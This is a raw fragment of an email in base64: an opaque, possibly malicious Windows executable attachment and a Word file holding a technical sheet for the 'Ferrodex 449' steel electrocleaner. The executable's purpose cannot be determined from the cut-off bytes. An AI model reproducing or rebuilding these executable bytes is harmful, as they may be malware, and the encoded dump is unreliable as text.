AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACTgSUc1+BLT9fgS0/X4EtPDMJWT9XgS08twwtP1uBLT9fgSk8V4EtP LcNST9rgS09Aww5P1uBLTw3DV0/L4EtPLcN0T9bgS08tw3ZP1uBLT1JpY2jX4EtPAAAAAAAA AABQRQAATAEDAIXkfTsAAAAAAAAAAOAAHwELAQcAAKIAAAAiAAAAAAAAwyAAAAAQAAAAsAAA AAAAAQAQAAAAAgAABQABAAUAAQAEAAAAAAAAAADwAAAABAAAFQgBAAIAAIAAAAQAAIAAAAAA EAAAEAAAAAAAABAAAAAAJQAATAEAAHipAACMAAAAAOAAAGAMAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAABQsQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAIAAIQA AAAAEAAAVAEAAFCeAABAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAiKEAAAAQAAAAogAA AAQAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAHATAAAAwAAAABQAAACmAAAAAAAAAAAAAAAA AABAAADALnJzcmMAAABgDAAAAOAAAAAOAAAAugAAAAAAAAAAAAAAAAAAQAAAQA7+fTtAAAAA Dv59O0sAAAAO/n07WAABAB7gfTtlAAAADv59O28AAAAO/n07eQAAAB7gfTtlAAAAAAAAAAAA AABtc3ZjcnQuZGxsAEFEVkFQSTMyLmRsbABLRVJORUwzMi5kbGwATlRETEwuRExMAEdESTMy LmRsbABSUENSVDQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCPxHfbecN3CenBd+TJ xXfcesN3iNPFd2kSw3fuesN3EXvDd6IhxHeaKcR3iDzEd0rrwXdo68F3MjbDd7A+w3dYpsR3 AHvDd8E+xHe8PcR3sjzEdwAAAABIft53axrdd2Ub3XeaGN13omDdd5xg3XcYYN13v2Hdd99h 3XdnXd13WGDdd3hg3Xf7u913A63ddzRg3XfuYN13/2Hdd4cO3ndGFt53AAAAAADj93cf4vd3 hxX1d7cG53fvd+d3fRX1d8V453f9ped3Yanmd2Om53eTn+d3CJnndztK53cG1+Z3gZjndxgG 6Hfxded3RZrnd9gF6HdJPOd3Y3nnd1ud53fBMOd3N6znd7Vc53fmG+Z3KzrndwAAAABDeMd3 i4vHd2h1x3cAAAAAHkrMd8CF0ndof813BwXNd8N80XeGBc53Y0rNd21JzHcAAAAAJp/3dwAA AAD/JSwRAAGQkJCQkJCDfCQEAHQQagD/FUQRAAGFwA+FPk8AADPAQMIEAGoB/3QkCOgDAAAA wgQA/3QkCOjM////hcB0NVaLdCQIV/826DAAAACDfCQQAIv4dAb/FSgRAAGDJgCF/19edBBo gMMA --S9KP419au0cgI2828wk9aCoNxAH1R7321h3y --S9KP419au0cgI2828wk9aCoNxAH1R7321h3y Content-Type: application/octet-stream; name=FERRODEX 449.doc Content-Transfer-Encoding: base64 Content-ID: 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAMAAAAAAA AAAAEAAAMgAAAAEAAAD+////AAAAAC8AAAD///////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ///////////////////////////////////spcEAcQAJBAAAABK/AAAAAAAAEAAAAAAABAAA 5BEAAA4AYmpianQrdCsAAAAAAAAAAAAAAAAAAAAAAAAJBBYAkiwAABZBAQAWQQEAvQ0AAAAA AAAmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8A AAAAAAAAAAAAAAAAAAAAAF0AAAAAAA4DAAAAAAAADgMAAA4DAAAAAAAADgMAAAAAAAAOAwAA AAAAAA4DAAAAAAAADgMAADQAAAAAAAAAAAAAAEIDAAAAAAAAQgMAAAAAAABCAwAAAAAAAEID AABoAAAAqgMAABQAAAC+AwAANAAAAEIDAAAAAAAAXAsAAO4AAAD+AwAAAAAAAP4DAAAWAAAA FAQAAAAAAAAUBAAAAAAAABQEAAAAAAAAFAQAADIAAABGBAAALAAAAHIEAAAYAAAASgkAAAIA AABMCQAAAAAAAEwJAAAAAAAATAkAAC8AAAB7CQAA1AAAAE8KAADUAAAAIwsAACQAAABKDAAA 9AEAAD4OAABYAAAARwsAABUAAAAAAAAAAAAAAAAAAAAAAAAADgMAAAAAAACKBAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAUBAAAAAAAABQEAAAAAAAAigQAAAAAAACKBAAAAAAAAEcLAAAAAAAA wgQAAAAAAAAOAwAAAAAAAA4DAAAAAAAAFAQAAAAAAAAAAAAAAAAAABQEAAAAAAAA/gMAAAAA AADCBAAAAAAAAMIEAAAAAAAAwgQAAAAAAACKBAAAFgAAAA4DAAAAAAAAFAQAAAAAAAAOAwAA AAAAABQEAAAAAAAASgkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgMAAAAAAABCAwAAAAAAAA4D AAAAAAAADgMAAAAAAAAOAwAAAAAAAA4DAAAAAAAAigQAAAAAAABKCQAAAAAAAMIEAACIBAAA wgQAAAAAAAAAAAAAAAAAAEoJAAAAAAAADgMAAAAAAAAOAwAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASgkAAAAAAAAUBAAA AAAAAPIDAAAMAAAAoI4y/2oAvwFCAwAAAAAAAEIDAAAAAAAAoAQAACIAAABKCQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU2hlZXQuIE5vLjogRkVSUk9ERVggNDQ5DVJldmlz aW9uOiAwOS8xNi85OVQtMTI5DQ0NICAgICAgICAgICAgICAgICAgICAgDSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0NRkVSUk9E RViuIDQ0OQ1FbGVjdHJvY2xlYW5lciBmb3IgU3RlZWwNX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fDQ0NSU5UUk9EVUNUSU9ODQ1GRVJST0RFWK4gNDQ5IGlzIGEgbm9uLWNoZWxhdGVk LCBoZWF2eS1kdXR5IGVsZWN0cm9jbGVhbmVyIGZvciBzdGVlbCBhbmQgY29wcGVyLiBJdCBp cyBhIGhpZ2hseSBhbGthbGluZSwgd2hpdGUsIGZyZWUtZmxvd2luZyBwb3dkZXIgd2l0aCBn b29kIHNtdXQgcmVtb3ZpbmcgcHJvcGVydGllcyBhbmQgdW51c3VhbGx5IGhpZ2ggdG9sZXJh bmNlIHRvIG1ldGFsIGNvbnRhbWluYXRpb24gc3VjaCBhcyBjaHJvbWUuDQ1UaGUgY29tYmlu YXRpb24gb2YgYWxrYWxpbmUgc2FsdHMgaW4gRkVSUk9ERVggNDQ5IGdpdmVzIGhpZ2ggY29u ZHVjdGl2aXR5IGZvciBtYXhpbXVtIGdhcyBzY3J1YmJpbmcsIGFuZCBoaWdoIGRldGVyZ2Vu Y3kgZm9yIGZhc3QgYW5kIGNvbXBsZXRlIHdldHRpbmcgb2YgcGFydHMgc29pbGVkIHdpdGgg Y3V0dGluZyBhbmQgZHJhd2luZyBvaWxzLCBncmVhc2UgYW5kIGJ1ZmZpbmcgY29tcG91bmRz LiAgQW4gaW1wcm92ZWQgY29tYmluYXRpb24gb2Ygc3VyZmFjZS1hY3RpdmUgYWdlbnRzIGdp dmVzIGNvbnRyb2xsZWQgZm9hbWluZyBhbmQgZnJlZSByaW5zaW5nLiBBbHRob3VnaCBpdCBp cyBub24tY2hlbGF0ZWQsIEZFUlJPREVYIDQ0OSBpcyBlZmZlY3RpdmUgaW4gaGFyZCB3YXRl ciBhcmVhcy4NDQ1PUEVSQVRJTkcgQ09ORElUSU9OUw0NQ29uY2VudHJhdGlvbiAtCVVzZSBh bm9kaWNhbGx5LCA4LTEwIG96L2dhbCAoNjAgLSA3NSBnL2wpDQ1UZW1wZXJhdHVyZSAtCTE4 MCAtIDIwMG8gRiAoODIgLSA5M28gQykNDUN1cnJlbnQgRGVuc2l0eSAtCTUwIC0gMTI1IEFt cHMvZnQyICg1LjQgLSAxMy40IEFtcHMvZG0yKSwgQW5vZGljDQ1UaW1lIC0JMzAgc2Vjb25k cyB0byAyIG1pbnV0ZXMNDUVxdWlwbWVudCAtCVN0ZWVsIHRhbmtzIGFuZCBoZWF0aW5nIGNv aWxzLiBTdGVlbCBlbGVjdHJvZGVzDQ0MDQxJbiBjYXNlcyB3aGVyZSBsYXJnZSBxdWFudGl0 aWVzIG9mIG9pbCwgZHJhd2luZyBjb21wb3VuZHMgb3IgZ3JlYXNlIGFyZSBwcmVzZW50LCBw cmUtY2xlYW5pbmcgaW4gYSBoZWF2eS1kdXR5IHNvYWsgY2xlYW5lciBpcyByZWNvbW1lbmRl ZC4NDQ1BTkFMWVNJUyBQUk9DRURVUkUNDTEuCVBpcGV0dGUgYSAxMCBtbCBzYW1wbGUgb2Yg Y2xlYW5lciBzb2x1dGlvbiBpbnRvIGEgMjUwIG1sIEVybGVubWV5ZXIgZmxhc2suDQ0yLglB ZGQgMjUgLSA1MCBtbCBvZiBkZWlvbml6ZWQgd2F0ZXIgYW5kIGEgZmV3IGRyb3BzIG9mIHBo ZW5vbHBodGhhbGVpbiBpbmRpY2F0b3IuIFRoZSBjb2xvciBvZiB0aGUgc29sdXRpb24gc2hv dWxkIG5vdyBiZSByZWQuDQ0zLglUaXRyYXRlIHVzaW5nIDEuMCBOb3JtYWwgYWNpZCB0byBh IGNvbG9ybGVzcyBlbmQgcG9pbnQuDQ00LglDYWxjdWxhdGUgdGhlIEZFUlJPREVYIDQ0OSBj b25jZW50cmF0aW9uOg0NRkVSUk9ERVggNDQ5IChvei9nYWwpICAgPSAgIG1sIG9mIDEuMCBO IGFjaWQgdXNlZCAgIHggICAwLjg2DQ1GRVJST0RFWCA0NDkgKGcvbCkgICA9ICAgbWwgb2Yg MS4wIE4gYWNpZCB1c2VkICAgeCAgIDYuNDUNDQ1XQVNURSBESVNQT1NBTA0NVGhpcyBtYXRl cmlhbCBtdXN0IGJlIGRpc3Bvc2VkIG9mIGluIGFjY29yZGFuY2Ugd2l0aCBhbGwgYXBwbGlj YWJsZSBmZWRlcmFsLCBzdGF0ZSwgYW5kIGxvY2FsIHJlZ3VsYXRpb25zIGFuZCBwZXJtaXRz LiBDb25zdWx0IHRoZSBNU0RTIGZvciBhZGRpdGlvbmFsIHJlZ3VsYXRvcnkgaW5mb3JtYXRp b24uIFRoZSBpbmZvcm1hdGlvbiBjb250YWluZWQgaGVyZWluIGlzIGdlbmVyYWwgaW4gbmF0 dXJlIGFuZCBtYXkgbm90IGFwcGx5IHRvIGVhY2ggYXBwbGljYXRpb24uDQ0NR0VORVJBTCBT QUZFVFkgUFJFQ0FVVElPTlMNDVdoZW4gd29ya2luZyB3aXRoIHRoaXMgcHJvZHVjdChzKSwg ZW5zdXJlIHRoYXQgYWxsIGhlYWx0aCwgZW52aXJvbm1lbnRhbCwgYW5kIHNhZmV0eSByZWd1 bGF0aW9ucyBhbmQgc3RhbmRhcmRzIGFyZSBtZXQuIEF2b2lkIGRpcmVjdCBjb250YWN0IHdp dGggdGhpcyBtYXRlcmlhbC4gRG8gbm90IGluaGFsZSBhc3NvY2lhdGVkIG1pc3QsIHZhcG9y cywgYW5kL29yIGR1c3QuIE1haW50YWluIGFuZCBsaW1pdCBleHBvc3VyZSBhcyByZWNvbW1l bmRlZCBieSBPU0hBLCBBQ0dJSCwgYW5kIG90aGVyIHN0YXRlIGFuZCBsb2NhbCByZWd1bGF0 aW9ucy4gV2FzaCBjb250YW1pbmF0ZWQgY2xvdGhpbmcgYmVmb3JlIHJldXNlLiBBbHdheXMg Y29tcGx5IHdpdGggdGhlIEhhemFyZCBDb21tdW5pY2F0aW9uIFN0YW5kYXJkLCAyOSBDRlIg MTkxMC4xMjAwLiBFbWVyZ2VuY3kgc2hvd2VycyBhbmQgZXlld2FzaGVzIG11c3QgYmUgcmVh ZGlseSBhdmFpbGFibGUuDQ1JdCBpcyByZWNvbW1lbmRlZCB0aGF0IHRoZSBwbGF0aW5nIGNo ZW1pc3RyeSBwcm9kdWN0KHMpIHJlZmVycmVkIHRvIGluIHRoaXMgVGVjaG5pY2FsIEluZm9y bWF0aW9uIFNoZWV0IGJlIHVzZWQ6IChhKSBpbiBhY2NvcmRhbmNlIHdpdGggdGhlIGluZm9y bWF0aW9uIHByb3ZpZGVkIGluIHByb2R1Y3Qgc3BlY2lmaWMgTVNEUzsgYW5kIChiKSBpbiBj b21wbGlhbmNlIHdpdGggYWxsIGFwcGxpY2FibGUgcmVxdWlyZW1lbnRzIGFuZCBndWlkZWxp bmVzIGVzdGFibGlzaGVkIGJ5IE9TSEEsIE5JT1NILCBBQ0dJSCwgTkZQQSwgYW5kIG90aGVy cy4NDU5PVEU6ICAgQSBNYXRlcmlhbCBTYWZldHkgRGF0YSBTaGVldCAoTVNEUykgZm9yIHRo aXMgcHJvZHVjdChzKSBpcyBhdmFpbGFibGUgdXBvbiByZXF1ZXN0IGZyb20gQXRvdGVjaCBV U0EgSW5jLiwgQ3VzdG9tZXIgU2VydmljZS9TYWxlcyBTdXBwb3J0IEdyb3VwLCAxNzUwIE92 ZXJ2aWV3IERyaXZlLCBQLk8uIEJveCAxMjAwMCwgUm9jayBIaWxsLCBTQyAyOTczMS0yMDAw Lg0NUkVWSUVXIE1TRFMgQkVGT1JFIFVTSU5HIFRISVMgUExBVElORyBDSEVNSVNUUlkgQU5E IEZPUiBTUEVDSUZJQyBJTkZPUk1BVElPTi4gQSBwcmVjYXV0aW9uYXJ5IGFwcHJvYWNoIHNo b3VsZCBiZSB1c2VkIHdoZW4gdGhlcmUgaXMgcG90ZW50aWFsIGZvciBjaGVtaWNhbCBleHBv c3VyZSAtLSB0aGlzIGluY2x1ZGVzIG1pbmltaXppbmcgZXhwb3N1cmUgcG90ZW50aWFsLCBy YXBpZCBkZWNvbnRhbWluYXRpb24sIGFuZCBtZWRpY2FsIGZvbGxvdy11cC4NDFRFTEVQSE9O RSBOVU1CRVJTDQ1HZW5lcmFsIEluZm9ybWF0aW9uOiAgKDgwMykgODE3LTM1MDANDVRvIFBs YWNlIGFuIE9yZGVyOiAgICAxLTgwMC1QTEFUSU5HDQ0NRkVSUk9ERViuIDQ0OQkJUEFHRSAT IFBBR0UgFDMVDQ0NDQ0NDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 